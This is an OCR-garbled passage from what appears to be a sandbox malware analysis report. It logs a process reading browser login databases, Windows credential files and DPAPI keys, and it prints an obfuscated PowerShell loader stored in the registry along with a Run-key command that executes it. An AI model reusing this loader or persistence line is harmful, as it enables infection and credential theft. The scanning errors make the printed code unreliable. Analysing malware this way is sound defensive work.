ment\ccd32e22ed1b362cchd4b6fe2cdabd0b\System.Management.ni.d
Il.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 success or wait 1 6CEF9B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 success or wait 1 6CEF9B71 ReadFile
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File Path Offset Length Completion Count Source Address Symbol

C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Program Files (x86)\\Downloader\config\database.script unknown 4096 success or wait 1 6CEF9B71 ReadFile
C:\Program Files (x86)\\Downloader\config\database.script unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown 49152 success or wait 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 7 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 624 end of file 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6E04099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6E04099B unknown
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login unknown 45056 success or wait 1 6CEF9B71 ReadFile
Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 26 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 6CEF9B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD7 unknown 4096 success or wait 1 6CEF9B71 ReadFile

2B5E2187F75E8118A14612

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3425316567-  unknown 4096 success or wait 2 6CEF9B71 ReadFile
2969588382-3778222414-1001\f7d2581d-14bb-48b0-855¢-3d29e39e4b99

C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD7 unknown 4096 success or wait 1 6CEF9B71 ReadFile
2B5E2187F75E8118A14612

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown 11104 success or wait 1 6CEF9B71 ReadFile
CC19A398EBF1B96859CE5D

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown 11104 success or wait 1 6CEF9B71 ReadFile
CC19A398EBF1B96859CE5D

Registry Activities

Key Created

Key Path Completion Count Source Address Symbol
HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Tracing\caspol RASMANCS success or wait 1 6C18FDB8 unknown
Key Value Created

Key Path Name Type Data Completion Count Source Address Symbol
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Key Path

HKEY_CURRENT_USER\SOFTW  Premodify

ARE\AppDatalLow

HKEY_CURRENT_USER\SOFTW  Attractant

ARE\Mic
rosoft\Windows\CurrentVersion\
Run
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Name

Type

expand unicode

expand unicode

Data

$Damspils = """ReFGruKonNacSkt
DoiKloUtnHe GrHshTPuBMi Mi{G ud
ho Pr HvpflaRurNoaVamSo(st[
DeSBotOrrMoiAnnBogPh]Di $HiHSt
SBI)Ro;Pa Ni vn Ra Sa'$InBvoyU
ntAlesisBe Sp=Af UnNBreGrwKr-B
yOCabOmjcyeUncBytOr PrbGlyFotP
reSt[Be]Av Fa(fo'$AIHDeSSt.MiL
QueRinPegBatHahGe Te/Un Ev2Me)
Ta;Sm Op Fo St ChFmooKurUn(Sc®
$HaiDr=Di0Pr;ls Ly’ $HaiPo Sn-O
VvIKitCo Dy $FIHSpSpe.GyLSkeOkn
brgCatSahAl;Ko Sp'$DeiTr+Da=sk
2Ak)La{Ma Sp Wh Ko Gu Va St Ba
Pt'$PrBUdySttAueBesUr[Hy $Odi
St/Kf2Ar]Re Ka=De Ku[AbcFooTon
PavToeUdrCotFulje:Bo:SpTstoSkB
GlyGrtPreUr(Su'$UiHDeSNo.caSpr
uCobOvsPotwerHyiLinTrgCu(St' $M
aiMa,Le Di2My)In,Pa Pa1Az6No)J
u;Co.Ba.Rn'$GaBOpyTitSteBosDi[
Au'$EliAd/As2Ma]Pa Ve=Tr Sh(Ci
"$SpBAayTetOxeBosIn[Ra $MaiOm/
Ba2Am]Bo Do-TibDixGloMorPa En2
FrOba1Om)He;Au Vg Re Mr as}Mi.
Mi[SuSKktTurspiFanMagOv]En[GrS
InyHysCltCaeStmIn.StTPoeUdxUnt
Ko.reEAfnThcUnoTrdariUnnRegTa]
Be:Ka:OvASISTrCPalExIBr.DiGSae
hatMiSOutAlrSpiTanSugBi(me’$EI
blnyEttiIneMasSu)Ci;By}Mi*$InRH
aeGrcOvaGilSycTeiOptRhrRiaHitd
ieMeOPi=LiHomTExBOv Sn'Ho9ThAS
nBVi0VaBAaARaBCiDplACoCGyAVo
40
pEIn7WeAKoDPeAEX50pAFr5Cu'bi;G
e $EmRAfeBycDiaEmIUncheiAptrir
ExaHetsteBe1lb=GuHDaTGeBSk Le'
Di8Rg4LyApr0InAViASpBReBBoAC06
SiBSIAKoAFi6ScABrFMiBLIDSIEMo7
Be9laEUnAStOBiAKo7WrFCaAUnF St
B
HoECh7Ra9ChCPaABe7SkBadAPaA
Tr8
HuAKeFskADoCkn8Sk7MaAPr8RoBC
D
FoAPeOMeBLaFScAJuCNo8Te4BoAR
eC

SpBDiDdeAun1BiATi6 TUAWeDHeBIIA
Ri'lm;Ga’ $HoRIseMicCaaChlPocFo
iTrtberDeaFltFoeXx2ma=RuHMeTOv
BNo
Pi'Ru8LyERaAObCMyBANnDUNYIn
9AnBldBbaAHy6WiAspAUn8Pa8JoAB
|
DFIASvDFaBDaBCiAbiCHaBjaAPrBan
AFo'Ju;Sa’ $MtRThehicHyaUnICycS
eiDetNorSnaEbtTeeDy3Ge=urHMaTP
hBBu Ex'Si9AdABeBNa0OIBMiASkBB
oDBrAMuCUnARu4HoECh7Be9SyBF
oBu
sCOpAUN7FaBUnDSpAOpOhaAAn4Ki
AR
eCSrESm7Ga8Ro0DoAGI7TiBfoDGIA
S
iCYoBSuBDeAJo6FIBAI9AfIMaAKIAS
pCSaBFjBGaBFrFBnAswOOvAWeAC
UAt
eCToBLaAOuEF07Sa8Se1InATi8SpA
E
c7DeAFoDSaAOp5FoAAICGI9CYBFIA
R
eCKIADrFFe'Ko;Be'$ToRMaePrcNoa
InIRecEtiMatinrWiaKotAleEx4Ga=
FoHTiTBaBWe Un'OvBTrAHeBinDIIB
PyBFaAEvOKoABe7AmAStEUN'Fo;Co
*$SkRSeeVacobabrlincRyiDetGrrWh
aChtFoeRa5Ba=ccHSpTANBPr Au'ln
8VgEFnAPaCYpBMoDOm8KI4RaAMu
6De
ACoDHuBHiCSnAHy5LoAGeCUd8Th1
Tr
AFI8InAEn7TaAUnDBuAel5AfAKaCR
e'Un;Af'$

%tullio% -w 1 $Sporing21=(Get-
ltemProperty -Path 'HKCU:\SOFT
WARE\AppDatalow\').Premodify;%
tullio% ($Sporing21)

Completion

success or wait

success or wait

Count

1

1

Source Address

E0965B

E0965B

Symbol

RegSetValueEx

A

RegSetValueEx

A
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Key Path Name Type Data Completion Count Source Address Symbol

HKEY_LOCAL_MACHINE\SOFT  EnableFileTraci dword 0 success or wait 1 6C18FDB8 unknown
WARE\WO ng

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL _MACHINE\SOFT  EnableAutoFileT dword 0 success or wait 1 6C18FDB8 unknown
WARE\WO racing

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  EnableConsoleT dword 0 success or wait 1 6C18FDB8 unknown
WARE\WO racing

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  FileTracingMask dword -65536 success or wait 1 6C18FDB8 unknown
WARE\WO

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  ConsoleTracing dword -65536 success or wait 1 6C18FDB8 unknown
WARE\WO Mask

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  MaxFileSize dword 1048576 success or wait 1 6C18FDB8 unknown
WARE\WO

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  FileDirectory expand unicode = %windir%\tracing success or wait 1 6C18FDB8 unknown
WARE\WO

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

Disassembly

@ No disassembly
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